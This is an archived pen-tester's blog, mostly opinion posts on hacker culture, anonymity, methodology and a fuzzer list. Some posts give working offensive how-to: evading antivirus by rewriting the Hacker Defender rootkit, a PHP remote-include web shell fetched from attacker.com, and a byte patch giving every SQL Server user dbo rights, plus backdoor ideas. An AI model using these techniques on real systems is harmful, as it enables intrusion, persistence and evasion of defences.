Ethical Hacking and Penetration Testing

Bemoaning the death of Hacker Culture

2007-07-23T20:19:00.000-07:00

Do you get the feeling that the information security industry has really changed the last 3-5 years? Remove the obvious: the industry is much larger, of higher public profile, and much better funded across the board. I would venture to guess, that way back when, say, in the dark ages of 1999, the primary reason people chose to get into the field of information security was to "live the Hacker Culture 24x7". To better define what I am talking about, let's venture over to linkspamopedia for a definition:

"In academia, a hacker is a person who follows a spirit of playful cleverness and enjoys programming. The context of academic hackers forms a voluntary subculture termed the academic hacking culture."

This is why I got into the security industry. I like to take things apart to see how they work, break things, and try to put them back together. After college, I could have easily gone the route (which was much higher paid and more high profile at the time) of a full time programmer. I chose to take a route where I would make less, but do much more interesting things on the job.

In 2007, I get the feeling that professionals are entering the information security field to become some sort of a "digital security guard". Let's check the definition again:

"A security guard or security officer, is usually a privately and formally employed person who is paid to protect property, and/or assets, and/or people. Often, security officers are uniformed and act to protect property by maintaining a high visibility presence to deter illegal and/or inappropriate actions."

I think there are too many InfoSec professionals looking at their job duties as sort of an IT rent-a-cop. Don't mistake what I am driving at here, I am by no means saying we do not need a monitoring function as part of a wholistic information security practice! Let's take an example to further illustrate my point, take the job of an IDS/IPS analyst.

As a subscriber to the Hacker Culture School of Information Security, if I get an IDS/IPS analyst job, the first thing I am going to do is take my IDS/IPS equipment apart. Blast it with all sorts of horrendously mangled traffic, see what gets by it. I'll try to understand what types of shellcode can defeat its monitoring capabilities, perhaps it can detect covert channels by looking at the randomness in the distribution of character sets. Perhaps it can't detect a simple shell that is XORed with a predetermined value. You get the idea. I can then apply what I have learned about the chinks in the armor of my primary defensive weapon, so I know know which attackers are going to be able to defeat my tools.

A subscriber the Rent-a-cop School of Information Security will likely spend his first month implementing signatures to catch employee's playing fatasy football. He'll push for even more draconian policies to restrict something that is actually useful to the business and poses little to no threat, such as not allowing employees to use a non-standard file compression. All the while, the 21st century digital security guard quietly plays fantasy football and runs winrar on his corporate laptop. Meanwhile, the Canadian Mafia (Yes, there is a Canadian Mafia, No it's not always the Russian Mafia) snags 21 million credit cards through his IDS/IPS he hasn't bothered to understand.

Well, enough ranting for one year.

Thoughts?

Circumventing Antivirus via Transmutation

2006-03-21T18:46:00.000-08:00

Researchers at Kumatori Accelerator-driven Reactor Test Facility (KART) (Economist article, if you subscribe) have discovered a way to forcibly decay radioactive waste (neptunium, plutonium, americium, curium, etc.) into less-lethal isotopes of elements that are only radioactive for years, instead of tens of thousands or tens of million years. Essentially, they slam radioactive waste with a neutron beam that adds mass to the radioactive waste, causing it to transmutate into another element, which in turn causes it to decay faster. This got me thinking, if you can slam an element with with a neutron beam to create a new element, well, maybe you can do the same thing to a file in order to avoid "pesky Anti-Virus"?

Well, it seems you can. A good example of this is Holy Father's Morphine. Morphine works by including its own PE loader. This enables it to put whole source image to the .text section of new PE file. It also contains a polymorphic engine which always creates absolutely different decryptor for the new PE file each time Morphine is run. Morphine was released in March of 2004, and the major Antivirus companies did not have a method of generically detecting "Morphined" executables until Q4 2005. The private version of Morphine still creates verisons of binaries that are undetectable to every Antivirus maker on the market.

Other ideas are simply to rearrange the executable so that it does essentally "the same thing", but modify the underlying instructions of the binary. An example would be to move the value in the edx register into the eax register. Typically, the program would do a mov edx, eax instruction to accomplish this. Well, a push eax followed by a pop edx will do effectively the same thing as a mov edx,eax --- take the value in edx and put it into eax. You see where I am going here, we can totally modify the static signature of the binary in this process. But, does it work....

....Well, not really. If I take a 3 byte instruction (mov edx, eax) and replace it with two 2 byte instructions (push eax and pop edx), I have changed the offset within the program by one byte. This means that every jump, every call in the program will be off by one byte, meaning the program will no longer work. Three possible solutions to this problem:

1. Only substitute equal size instructions
2. Recalculate all jumps and calls after the insertion or deletion of the total number of bytes.
3. Write our own trojan/virus, or whatever we are trying to accomplish (not the focus of this article though)

Ok, well if we do some googling, someone has already attempted #1. A guy named z0mbie already wrote a program called code pervertor that did this. Unfortunately, it didnt work very well as the heueristic engine in most AVs can catch these simple modifications. For #3, go ahead a create your own trojan or virus. But this is not an option if you aren't a trojan writer or programmer, or dont have the time to learn.

For #2, we actually find that another guy, tibbar, has created a very cool program to do just this. He calls his program CodeCrypter. He was nice enough to email me a verision with source to play with. You can see the result of tibbar's CodeCrypter here. You can see in the first column the address of the instruction, in the next, is the original instruction, and in the last is the new instruction(s) . Well, how does it work? Pretty well, most AV will be defeated by it. If you take a standard program you know AV will freak out out (Hacker Defender) and send it over to one of many sites that will check a binary against all 20 AV companies (I use virustotal.com), you will get a report similar to this:

This is a report processed by VirusTotal on 04/05/2006 at 00:03:33 (CET) after scanning the file "hxdef100.exe" file.

Antivirus	Version	Update	Result
AntiVir	6.34.0.14	04.04.2006	BDS/HacDef.073.B.1
Avast	4.6.695.0	04.03.2006	Win32:Hacdef-G
AVG	386	04.04.2006	BackDoor.Generic.XPG
Avira	6.34.0.54	04.04.2006	BDS/HacDef.073.B.1
BitDefender	7.2	04.04.2006	Backdoor.Hacdef.AE
CAT-QuickHeal	8.00	04.04.2006	Backdoor.HacDef.ae
ClamAV	devel-20060202	04.04.2006	Trojan.HacDef.073.B
DrWeb	4.33	04.04.2006	BackDoor.HackDef.134
eTrust-InoculateIT	23.71.119	04.04.2006	no virus found
eTrust-Vet	12.4.2148	04.04.2006	Win32/HacDef.E
Ewido	3.5	04.04.2006	Backdoor.HacDef.ae
Fortinet	2.71.0.0	04.04.2006	W32/HacDef.AE!tr
F-Prot	3.16c	04.04.2006	security risk named W32/Hackdef.FI
Ikarus	0.2.59.0	04.04.2006	Backdoor.Win32.HacDef.084
Kaspersky	4.0.2.24	04.04.2006	Backdoor.Win32.HacDef.073.b
McAfee	4733	04.04.2006	HackerDefender.gen.c
NOD32v2	1.1471	04.04.2006	Win32/HacDef
Norman	5.90.15	04.04.2006	W32/Hacdef.CM
Panda	9.0.0.4	04.04.2006	Bck/Hacdef.ED
Sophos	4.04.0	04.04.2006	Troj/HacDef-Fam
Symantec	8.0	04.04.2006	Backdoor.HackDefender
TheHacker	5.9.7.124	04.03.2006	Trojan/hackdef.d3
UNA	1.83	04.04.2006	Backdoor.Hacdef
VBA32	3.10.5	04.04.2006	Backdoor.Win32.HacDef.ae

Note: The only Antivirus that doesnt find Hacker Defender is CA's eTrust. I can't believe anyone would attempt selling something even called "Antivirus" if it didnt at least find Hacker Defender. If you have eTrust installed, it is just wasting processor cycles, you are better off virtually folding protiens or something.

Anyway, if we run the binary through tibbar's code cryptor, we get much better results:

This is a report processed by VirusTotal on 04/05/2006 at 00:20:29 (CET) after scanning the file "hxdef100.exe" file.

Antivirus	Version	Update	Result
AntiVir	6.34.0.14	04.04.2006	no virus found
Avast	4.6.695.0	04.03.2006	no virus found
AVG	386	04.04.2006	no virus found
Avira	6.34.0.54	04.04.2006	no virus found
BitDefender	7.2	04.04.2006	MemScan:Backdoor.Hacdef.AE
CAT-QuickHeal	8.00	04.04.2006	(Suspicious) - DNAScan
ClamAV	devel-20060202	04.04.2006	no virus found
DrWeb	4.33	04.04.2006	no virus found
eTrust-InoculateIT	23.71.119	04.04.2006	no virus found
eTrust-Vet	12.4.2148	04.04.2006	no virus found
Ewido	3.5	04.04.2006	no virus found
Fortinet	2.71.0.0	04.04.2006	suspicious
F-Prot	3.16c	04.04.2006	no virus found
Ikarus	0.2.59.0	04.04.2006	Backdoor.Win32.HacDef.084
Kaspersky	4.0.2.24	04.04.2006	Backdoor.Win32.HacDef.073.b
McAfee	4733	04.04.2006	no virus found
NOD32v2	1.1471	04.04.2006	a variant of Win32/HacDef
Norman	5.90.15	04.04.2006	no virus found
Panda	9.0.0.4	04.04.2006	Suspicious file
Sophos	4.04.0	04.04.2006	no virus found
Symantec	8.0	04.04.2006	no virus found
TheHacker	5.9.7.124	04.03.2006	no virus found
UNA	1.83	04.04.2006	no virus found
VBA32	3.10.5	04.04.2006	Backdoor.Win32.HacDef.ae

The only "big name" Antivirus to discover the modified program is Kaspersky. All of the big guns, Symantec, McAfee, Sophos, Clam-AV are circumvented! Of course eTrust likely thinks this new version of the binary is winword.exe or something. ;)

So, why is it detected at all? Well, the version of CodeCrypter that I used retained the same OEP (original entry point). I suspect if this was randomized, all AV would be circumvented.

Comments? Suggestions?

~jack koziol~

De-anonymizing the Internet

2006-03-14T19:40:00.000-08:00

Well, I've recently undertaken a quite interesting project--- attempting to de-anonymize specific portions of the Internet. This is by far not a new idea. I can think of 10 "projects" in different forms that have all attempted, with various degrees of success. I'll list three of them.

eBay feedback system: Forces buyers & sellers to treat each other with some degree civility. But, is easily circumvented by creating dozens of accounts through different proxies and leaving positive feedback on fake items sold between two non-existant accounts.

USAF Bot Network Traceback: The USAF solicited bids for a R&D project to trace back through bot nets to discover the controller of the bot network. I saw some of the bids, some were very brute force (root all of the bots and then root the botmaster, then root all of his friends, his mother, and then kick his dog), others were much more creative. If you run a botnet, maybe the Air Force is watching you right now?

Google Toolbar: If you have advanced options enabled with the Google toolbar, any page you visit is transmitted to Google. Google does this primarily to track relevancy of its search results.

Obviously there are lots of ideas about reducing anonymity on the internet. Some (like the Google Toolbar) require huge scale. Others rely on technology (USAF project) and others rely on communities volunteering to give up anonymity for increased trust (eBay feedback). This all lends a question, is a de-anonymized internet better? Is it more secure? You can bet that most businesses and governments would love an internet where your IP was tied to your SSN and then to thumbprint. (Of course, this would be lame, because IPs, SSNs and even thumbprints can be spoofed by high school kids with nmap, photoshop and elmers glue, respectively) .

Its a hard question. If you look at society 200 years ago, people had a very little degree of anonymity in their daily lives. You were an apprentice for a trade (meaning you had one boss for life and you lived in his basement), you knew your neighbors, you likely had little ability to travel place yourself into new surroundings where you could pretend to be someone else. Were people better off? It would be impossible to measure, and if it was, it would be equally impossible to control for other factors, such as healthcare, political representation, etc.

Generally if you are going to do something bad or unethical, you are going to want to be anonymous (or at least assume some other sucker's identity). Conversely, if what you are doing is deemed "bad" by the powers that be, but is truely ethical and moral, you are also going to hang out on "anonymous networks" with all of the truely unethical folks.

So, the question becomes, if you have been tasked with reducing or eliminating anonymity on the Internet, how do you distinguish the bad guys from the good guys? What can you build into the system so that it can only detect traders of child porn, state-backed Chinese hackers getting into government networks, and click fraud dorks making 100k a month from Adsense?

Jack

Do you Xfocus?

2006-03-14T13:44:00.000-08:00

I try to make it a habit to run by a number of security-related sites everyday. One thing you have to realize as an English-speaking person, is that although there is a huge amount of material out there on the internet in English (or broken English), there is an equal number of good security articles, tutorials and research in non-western languages.

One website I regularly check out is Xfocus.net. They are a pretty famous group of Chinese hackers. If you have been in security for a while, you may have seen some of their exploits posted to bugtraq over the last few years.

Take example some good posts from 2006:

Reversing Kaspersky Antivirus (english)(chinese)
A really creative way to play with saved frame pointers in stack overflows exploits (english)(chinese):
A hacklog for a when some guy rooted hackerschool.org (english)

Here is a good one for all you web app pen-testers:

Netcat implemented in perl (perl):

Lots of other good stuff in there. Highly recommended!

Jack

Fuzzers - The ultimate list

2005-12-14T10:12:00.000-08:00

I spent the last week performing a penetration test for a customer, and at the close of the test I usually have a one-day in person "remediation meeting". One of the "action items" for me from the meeting was to respond with a list of fuzzers (sometimes called fault injectors) that can be used for in house pen testing. If you aren't familar with fuzzers and what they are, here is my best stab at a definition:

Fuzzer: A fuzzer is a program that attempts to discover security vulnerabilities by sending random input to an application. If the program contains a vulnerability that can leads to an exception, crash or server error (in the case of web apps), it can be determined that a vulnerability has been discovered. Fuzzers are often termed Fault Injectors for this reason, they generate faults and send them to an application. Generally fuzzers are good at finding buffer overflow, DoS, SQL Injection, XSS, and Format String bugs. They do a poor job at finding vulnerabilites related to information disclosure, encryption flaws and any other vulnerability that does not cause the program to crash.

Hows that? A prerequisite for building a fuzzers, is that you have to give it a cool name. There was one called stabface (yes, stabface), that would use the Google API to do SQL Injection against .govs and .mils. The author found a lot of neat holes, but never released the tool. Ok, here is the list:

(L)ibrary (E)xploit API - lxapi - A collection of python scripts for fuzzing
Mangle - A fuzzer for generating odd HTML tags, it will also autolaunch a browser. Mangle found the infamous IFRAME IE bug.
SPIKE - A collection of many fuzzers from Immunity. Used to find the recent remote RDP kernel DoS against a firewalled XP SP2, and many others.
PROTOS WAP - A fuzzer from the PROTOS project for fuzzing WAP.
PROTOS HTTP-reply - Another fuzzer from the PROTOS dudes for attack HTTP responses, useful for broswer vulns.
PROTOS LDAP - For fuzzing LDAP, not as successful as the others from the PROTOS project
PROTOS SNMP - Classic SNMP fuzzer, found a vuln in almost every networking gear available at the time (2002).
PROTOS SIP - For fuzzing all those new VOIP SIP devices you see everywhere.
PROTOS ISAKMP - For attacking IPSec implementations
RIOT & faultmon - For attacking plain text protocols (Telnet, HTTP, SMTP). Used by Riley Hassell when he worked at eEye to discover the IIS .printer overflow and included in The Shellcoder's Handbook.
SPIKE Proxy - A semi-functional web fuzzer from the guys at Immunity that brought you the original SPIKE
Tag Brute Forcer - Awesome fuzzer from Drew Copley at eEye for attacking all of those custom ActiveX applications. Used to find a bunch of nasty IE bugs, including some really hard to reach heap overflows.
FileFuzz - A file format fuzzer for PE (Windows) binaries from iDefense. Has a pretty GUI. I've recently used it to find bugs in Word.
SPIKEFile - Another file format fuzzer for attacking ELF (Linux) binaries from iDefense. Based off of SPIKE listed above.
notSPIKFile - A ELF fuzzer closely related to FileFuzz, instead of using SPIKE as a starting point.
Screaming Cobra - Name makes the fuzzer sound better than it really is, but is good for finding CGI bugs. Also, its a perl scrpt so easy to modify or extend.
WebFuzzer - A fuzzer for (guess what?) web app vulns. Just as good as some of the cheap commercial web fuzzers.
eFuzz - A generic TCP/IP protocol fuzzer. Easy to use, but maybe not as full featured as some others on this list.
Peach Fuzzer - A great fuzzer written by Michael Eddington. Peach Fuzzer is more of a framework for building fuzzers.
Fuzz - The ORIGINAL fuzzer developed by Dr. Barton Miller at my Alma Matter, the University of Wisconsin-Madison in 1990. Go badgers!

Well, this is it for now. I'll be sure to add to this list. Email me with suggestions

~jack~

jack ~a~ InfoSecInstitute.com

Penetration Testing Methodology: Fact or Fiction?

2005-10-31T15:06:00.000-08:00

I had a blog reader over the weekend shoot me an email asking me about my opinion on what the best penetration testing methodolgy is. I've performed a couple of hundred penetration tests, and I can say that over the last couple of years I've been exposed to (maybe I should say subjected to?) about a dozen different methodologies at different points in time. (BTW: If you have something you'd like me to write about, I'm open to suggestions!) I've seen both in-house and "industry standard" methodologies. If you aren't familiar with penetration testing methodologies, the idea behind them is that the penetration tester should follow a pre-scripted format for orchestrating the test as dictated by the methodology. Here are some of the 3 popular ones that come to mind:

The OSSTMM
NIST 4-Stage Pen-Testing Guideline
FoundStone's Pen-Testing Methodology

Now, what the reader was hoping for was a succinct, clear cut, answer. "Go here, download this, print it out, done, etc.". As you might have already guessed, I'm not going to give that level of satisfaction. And, I'm asked this question almost weekly, so now I'll be able to point people to this blog posting for the long winded answer. Ok, on to the answer.

In a nutshell, I firmly believe that any penetration testing methodology, no matter how well thought out, has limited usefulness. Why? Well the goal behind penetration testing is to try to find as many serious vulnerabilities as possible. In order to do this, you must develop the "mindset" of your attacker. You should look at your assessed system or application in all of the possible ways you think it could be misued, abused and exploited. You should then take a break, drink some well-deserved coffee, and then think of entirely new "misuse cases" for the system under review. Using a cut and dry methodology runs counter to the basic and essential premise of penetration testing; that a penetration test is an exercise in system abuse and cannot be readily scripted.

I realize that if you have never performed a penetration test, and don't have the faintest idea where to begin, you might get some value of out a methodology. However, I would venture to say that your time would be better spent hacking away on some dedicated lab equipment, writing your first Metasploit module, or writing a proposal for your boss to send you to a decent penetration testing course.

I also realize that the other (and in my eyes, more legitmate) reason to use a penetration testing methodology is the CYA factor. Most managers don't like the idea of employees willy-nilly hacking into things. The idea that an "industry standard methodology is being applied in accordance to best practices" sounds a lot better to the person in the corner office. Then, the methodology becomes more of a documentation tool, which I do see real value in.

Before I get too positive on documentation, remember what we have seen with vulnerability scanners. Generating lots of documentation can equally as dangerous. Everyone knows what has happened in the last 5 years with "vulnerablity assessment reports" generated out of nessus/internet scanner/etc. We all know the process:

1. Your boxes are rooted by 16 yr old dude in norway, he uses them to serve phising bait to 100 million paypal users.
2. High priced consultants run nessus for you, charge your company $50,000, take you out for drinks one night, generate a monster 500 page report.
3. So many false positivies and false negatives in the report no real vulns are ever acted on
4. Next month the same kid has your Oracle production E10000 serving PsyBNC to half of the norweigan underground.

Documentation can be paralyzing. It can be useless and point people down the wrong path, with end effect of people losing faith in the entire assessment process.

To sum up: Don't use a methodology unless you need to for documentation purposes, if you do, make sure the reports you generate deliver actionable intelligence on the security posture of the asssessed system.

Thoughts?

Jack

The New Face of War & Hacking PHP

2005-10-28T14:17:00.000-07:00

A couple of weeks ago I attended a lecture at the Pritzker Military Library given by Bruce Berkowitz. You can actually watch the archived lecture here. The library is about as atypical for a library as it gets. It is essentially a personal collection of 12,000 military related books and other assorted artifacts donated really, really rich guy that spent some time in the Army. It's on the third floor of a commercial building in downtown Chicago, which also happens to house a Chipolte, a whole flock of lawyers (what do you call a bunch of lawyers? a gaggle?) and one of my favorite indian resturants.

Anyway, the subject of the lecture was on the new ways that wars are being fought now that communication systems have drastically changed. From the Peloponnesian War (great book if you are interested in military history here) to the First Gulf War, communication in battle has stayed roughly the same. Military units are divided into smaller hierarchical groups, and commands are passed down from the top. Spear-throwing Spartans, English Longbowmen, and German 88MM Flak artillerymen all communicated by essentially shouting orders at each other, trying to find the enemy and direct fire at it as accurately as possible. What has changed, and hence the title of the lecture, the New Face of War, is that weapons are now so incredibly accurate that whomever has the best communication system in battle will likely win. Example: when a modern M1A1 Abrams tank fires at shot it has a 90% of taking out its target, compared to 10% for WWII era M4 Sherman Tank. Roughly the same percentages apply for WWII era bombs dropped from a B-17 and modern smart bombs, as well as modern infantry equipped night vision goggles vs. WWII infantry, etc.

So, if first shot equals a kill most of the time, whoever can find the enemy, point his super accurate weapon at him will win most of the time. It all comes down to the communication system.

Now, in Mr. Berkowitz's lecture, he was talking about military systems in the aggregate, whoever has the best satilites, comm gear, radio systems, radar, etc. will win the battle. But, you can easily apply this to the much narrower field (and one that is more relevant for blog readers) of information security. In today's IT landscape, whomever finds the vulnerable app first wins. If the bad guys realize before your security staff that some dopey developers have stored production data in unsecured test systems (ala CardSystems), you are going to get killed (and in CardSystems' case, literally!). The other point to be made here is who the enemy is. In most cases, the enemy is your own stuff. The split tunnel VPN you allow into your corporate network. The unpatched boxes on the SIPRNET. The web application that no one bothered to test for security bugs.

Speaking of vulnerable web applications, I have yet to find an application written in PHP that isn't vulnerable. I'm kind of biased, because I usually am asked to assess web apps because they are suspected of being vulnerable. One of the first things to check for when attacking a PHP app is PHP source code injection. The idea behind PHP source injection is to force the application to load a hostile PHP script from another server controlled by the attacker. With PHP, you can set the value stored in any global variable via a get request. If that variable happens to be used in a an include construction like so:

include ("$load.php")

You can manipulate the value stored in $load with a simple GET request from a broswer:

http://vulnerabledork.com/accnt.php?load=test

If the PHP interpreter attempts to load the value test, and you get an error like so:

Warning: main(): Failed opening 'test' for inclusion

You know the app is vulnerable, because the PHP interpreter is attempting to load a php file called "test" which does not exist, so you get the above error. Exploiting this is super easy. Just stick a PHP script on another server (the vulnerable server must allow outbound port 80 connections), simply stuff your hostile PHP script into the vulnerable app. Create a hostile PHP script (called hostile in this example) that loads the shell interpreter:

system($_GET["cmd'])

And now force the vulnerable program to load our hostile script:

http://vulnerabledork.com/accnt.php?load=http://www.attacker.com/hostile?&cmd=ls

If you get a directory listing of the web root, guess what? You have found the vulnerability, and my guess is that you would have BETTER than a 90% chance of killing your target.

Jack

Blog is back & Yersinia

2005-10-26T14:19:00.000-07:00

Ok, well I have been super lazy about this blog in the last 6 months, and now it is time to get back into it. I'll try to keep the posts shorter, this will allow me to post more often.

One really kick ass program that has been in heavy use by a lot of pen testers out there, but has not really been picked up by general security pros is Yersinia. Yersinia allows you to play with all sorts of layer 2 protocols that you would otherwise have to do with netdude or a heck of a lot of scripting. The most useful attacks in a pen testing situation where network gear is in scope, are for VLAN hacking and VLAN hopping. The other DoS attacks for CDP and STP are useful, but DoSing your local broadcast domain isn't that big of a deal. Check out some network hacking output from Yersinia here.

- Jack

Borge Ousland and the unexpected

2005-03-04T11:09:00.000-08:00

I was asked by a reporter today from USA Today what the average person can do to protect themselves from all of the security problems (identity theft, phishing, hackers, etc.) that are increasingly a fact of modern life. I gave the usual answer (likely many of you do the same thing with family & friends) that people should get XP SP2, turn on AV, ICF and autoupdates. I was thinking after the conversation, that I should really think of a better answer for this question, because I get asked it all the time. On a related note (you'll see the relation here in a minute), I went and saw Borge Ousland last night at the Field Museum in Chicago. Borge is a polar explorer, who has made a name for himself by completing some of the most intense solo unsupported (meaning no help from outsiders, no helocopters, no dog sleds, etc.). On his most difficult journey to ski across the North Pole from Russia to Canada, (note: this means in some cases swimming between breaks in pack ice, and losing about 60 of 150 lbs in body weight!) he encountered something quite unexpected at the geographic North Pole. Some shiek from a middle eastern country had flown up to the North Pole in a helocopter for the afternoon, and was walking around on the ice taking pictures in his tunic. This was the half way point for Borge, and he by no means expected to find a tourist walking around taking pictures, much less an guy in a tunic!

In order to have effective security, no matter what it is for (nuclear weapons, banking web servers, your home computer), you have to expect the unexpected. It doesn't mean you need to be paranoid. You should always realize that you are a target, and take appropriate steps. Lets take a couple of examples.

First is the old GDI+ vulnerability. If you aren't familiar with it, basiclly the GDI+ library is vulnerable to a heap overflow when it is parsing .jpg image files. The .jpg file standard allows for a comment section (COM) that will contains the length of the comment as well as the comment itself. The vulnerable GDI+ library expects that after finding the comment tag (COM) it will always be given some size, because the comment size field itself takes up 2 bytes. So, GDI+ always subtract 2 bytes in size from the length of the comment field to remove the space the comment size field takes up. But... what if a clever person puts a size of 1 or 0? GDI+ will subtract the 2, giving us a negative number, which ends up being a large positive number. This results in a classic integer overflow. Ok, so there you have it, the developer did not do as expected and check for some crafty hacker manually creating a .jpg with a comment size of 0 or 1. Let's take this further. Now that we know about the vulnerability we can either fix the problem by patching, or attempt to allow antivirus or network IDS to do the work for us by detecting any comment in a .jpg file with size 1 or 0.

In other news, a quick update to the whole T-Mobile situation. My blog was featured on Slashdot, PC World, and recived about a 400 links from other bloggers. This was kind of fun, it resulted in about 100k unique vistors over a one week period. I was also contacted by some person who sent me an "exploit" for the T-Mobile login page. Im not going to post it here, but if you want to check it out, I will email it to you. I've now learned that it has also been posted elsewhere as well.

Dead Disco - The unpatching trojan

2005-02-20T17:47:00.000-08:00

Dead disco
Dead funk
Dead rock and roll
Remodel
Everything has been done

- Emily Haines /Metric

I think Emily of the Canadian (now relocated to L.A.) band Metric works in InfoSec for a day job. Do you ever get the feeling that Everything has been done? Walk into a club, same songs I heard back in 98. Turn on the radio, Eminem still whining about his nasty ex-wife, change the station, same crappy Green Day songs (oh, wait, this one is new! new lyrics about a sad boulevard! wee!). I get the same feeling with relation to security as well. Is there anything new out there?

The Canadians don't get enough credit in my book. Everyone pokes fun, because they call routers, rooters. And processors, proucessors. There is a lot of innovation comming out of Canada, Metric being a prime example. One area of security and hacking in general that is following the lead of our innovative Canadian brothers are rootkits. Greg Hoglund and friends run a great Windows rootkit site, if you haven't spent an afternoon looking through code and posts there in the last 6 months, you are really missing out on some really cutting edge stuff. The Hacker Defender rootkit (a little dated, but full of features) is impressive. Like all modern Win32 rootkits, it loads as a device driver and is generally undetectable by traditional means (Tripwire, port scanning infected box, etc.). In a nutshell, say I load netcat on a box. I can hide the network sockets netcat is using, the running netcat process, the nc.exe file on the filesystem, the couple of kilobytes netcat takes up on the drive, the registry run key I added to restart next at next boot, etc. Hacker Defender also hooks itself into every running process, meaning that I can use the Hacker Defender client to talk to the rootkit remotely on any port I can reach (IIS on 80/tcp, Compaq Insight Manger on 2381/tcp, etc.). This doesn't impact regular use of these services, meaning I don't have to open a new listening socket to communicate with it. You can also do classic port redirection in the same manner, connect to IIS on your hacker defenderized box, redirect to SQL Server a layer back in the DMZ.

Because rootkits are so useful (both for pen testers and malicious hackers), there has been a lot of pressure and market demand to find ways of detecting them. Rootkits like Hacker Defender make use of a technique called function call hooking, essentially you replace a call to a function with a call to your rootkit. Then have the rootkit call the original function so the system behaves normally. The rootkit can then act as a "filter", it can edit out output from the kernel (such as a hide all files that begin with INFOSEC). This proccess of hooking is unfortunately dectectable, via programs like Vice.

The same dude, Jamie Butler, that wrote Vice also came up (maybe he didn't actually invent the idea, but it doesn't matter) with a method of defeating it, a technique called Direct Kernel Object Modification(DKOM). What a DKOM rootkit does is take advantage how how Windows keeps track of running processes. A grossly simplifed description of this hack is that the new Win32 DKOM rootkit will modify a data structure called EPROCESS, which contains a linked list that Windows can move either forward or backwards on to determine which processes are running. Think of it like a chain with many links, each link representing an active process. The DKOM rootkit will remove one link from the chain, by having the previous link now point to the next link, and the next link point to the previous link. The process still runs in Windows, but is now hidden. You can also do other cool stuff that you otherwise couldn't with a call hooking rootkit. You can add priveldges to a running process, change the process owner (makes computer forensics pretty hard if you can't tell who is running what program), and others.

So what's the lesson here? Let's recap: Czechoslovakian guy writes cool rootkit -> other guy thinks of way to find his rootkit -> another dude figures out how to hide his rootkit again.

We can continue this process: smart polish girl outsmarts last 3 dudes -> some Italian dude outsmarts the girl -> society eventually collapses because homo sapiens ate 4.6 billion years of built up resources in a couple thousand years.

Some people have worked on getting away from this arms race (please don't take this as me insulting the aforementioned rootkit writers). The fight here is that no matter what, we are adding files to the physical hard drive. Even thought these rootkits will fake out usermode programs at runtime (Tripwire, etc.). A suspicious admin can always take out the drive, run it through FTK, and find the new files on the system. Real time computer forensics offers the possibility of doing this remotely without having to take apart the box. There have been all sorts of neat innovations to counter a classic computer forensics investigation. One is to store your rootkit in the eeprom chip in your video card. So, now, if you yank your drive out and do some computer forensics on it, you won't find a thing. Even if you replace the physical drive, the hostile code on your video card will reinfect your hard drive. You can use this utility to find all writable eeprom memory attached to your motherboard that could be used to store a rootkit "off drive".

Another idea is to modify an existing program on the compromised host to remove or otherwise degrade security. This would be done via some sort of an "unpatch". This technique has the advantage of not adding new files to the filesystem, and can (under the right conditions) be less detectable. This is by no means a new idea. You can also find examples of hackers doing this in the wild, some guys hacked into sendmail, libpcap, dsniff, OpenSSH and placed trojan code into these heavily used open source programs. The trojan code would have the box connect out to IRC, and would allow a person in the know to control any unlucky admins that had installed trojaned versions. This trojaned code was detected quite quickly (due to strange build errors), and the network connection out to IRC.

A less subtle unpatch, and the focus of this post, is to reduce the security of a process with a listening network socket. The first well-known description of an this is an article from 1999 in Phrack 55, where the author describes a method of making a binary unpatch for the Windows NT kernel to remove all effective security (allow any user to kill or modify processes, even the null user). Chris Anley talks about patching Microsoft SQL Server in The Shellcoder's Handbook (Chapter 20, Alternative Payload Strategies pg. 477-479). Let's take a look at this in detail, because it is very cool.

Applications typically log in to a sql server with limited rights. The concept of this patch is to make it so that every user has the rights of dbo (DataBase Owner, UID 1) which can access and modify all tables . If you play with sqlservr.exe, you will find a function FHasObjPermissions. This function gets the current UID, checks to see if it is set to 1, and then raises an exception if not. Let's look at a dissasembly of this function:

004262BB E894D7FEFF call ExecutionContext::Uid (00413a54)
004262C0 663D0100 cmp ax,offset FHasObjPermissions+0B7h (004262c2)
004262C4 0F85AC0C1F00 jne FHasObjPermissions+0C7h (00616f76)

The first instruction (004262BB) calls a function (ExecutionContext::Uid) gets the current UID of the user. The second (004262C0) checks to see if the current UID is 1. The final instruction in this snippet jumps to another location if the UID is not 1. So, in order to unpatch SQL Server, we need to have the call to ExectutionContext::Uid always return 1, no matter what the true UID is. Let's take a look at the last three instructions in the disassembly of that function:

00413A97 668B4002 mov ax,word ptr [eax+2]
00413A9B 5E pop esi
00413A9C C3 ret

What we have here is the value stored in the AX register equaling the current UID when the function returns. After FHasObjPermissions calls ExectutionContext::Uid, it immediately does a comparision to see if the UID is 1. So, all we need to do to accomplish our goal is to replace the instruction at 00413A97 with a mov ax, 1. But, if we subtract from the number of instructions in the program, all of the jumps will be misaligned and the sqlservr will never run. So, we will need to change the instruction to set AX to 1 with an equal number (4) of bytes. This can be accomplished by moving the value stored at an offset known to be 1 into AX. We can do this all with a single instruction that copies a value stored in the instruction itself:

00413A97 66 B8 01 00 mov ax,offset ExecutionContext::Uid+85h (00413a99)

The value at 00413a99 is 01 (the third byte in this instruction). Now, to make this change, go and download Hiew. Open up sqlservr.exe (when SQL Server is not running), and search (F5) for the address .413a97. Do an edit at this address (F3), and replace 66 8B 40 02 with 66 BB 01 00. Save your changes, exit Hiew and re-run SQL Server. Log in as any user and attempt to view the contents of a table only readable by dbo (sysusers), and you will now be able to!

Other ideas for unpatching is to introduce a vulnerability into a program, instead of the outbound network connection as we saw with the OpenSSH and Sendmail trojans. Replace a strncpy with strcpy that copies input from recieved from the network. This newly introduced vulnerability is unique to the affected system, and could lie undetected for a long period of time. You can think of the new unpatch vulnerability as a special API known only to you.

So, I know a lot of you will say that this 3 byte unpatch will result in a different MD5 hash, so when tripwire is run against the sqlservr.exe binary, the sly admin will find we have made modifications. This is no doubt true. But if you have admin access to the box, you can always update tripwire hashes if the system stores them locally. Another technique to thwart against this is to research the application in question, and replace the binary with a previously vulnerable version instead of introducing your own. Windows will report the binary as current and fully patched, and the binary will now match a old or "known good" hash. This may cause the admin to ignore the hash mismatch (there are so many false positives with tripwire as is).

Comments, suggestions?

~Jack
jack (at) infosecinstitute (dot) com

Secret Service hacker, how did he do it?

2005-02-17T07:57:00.000-08:00

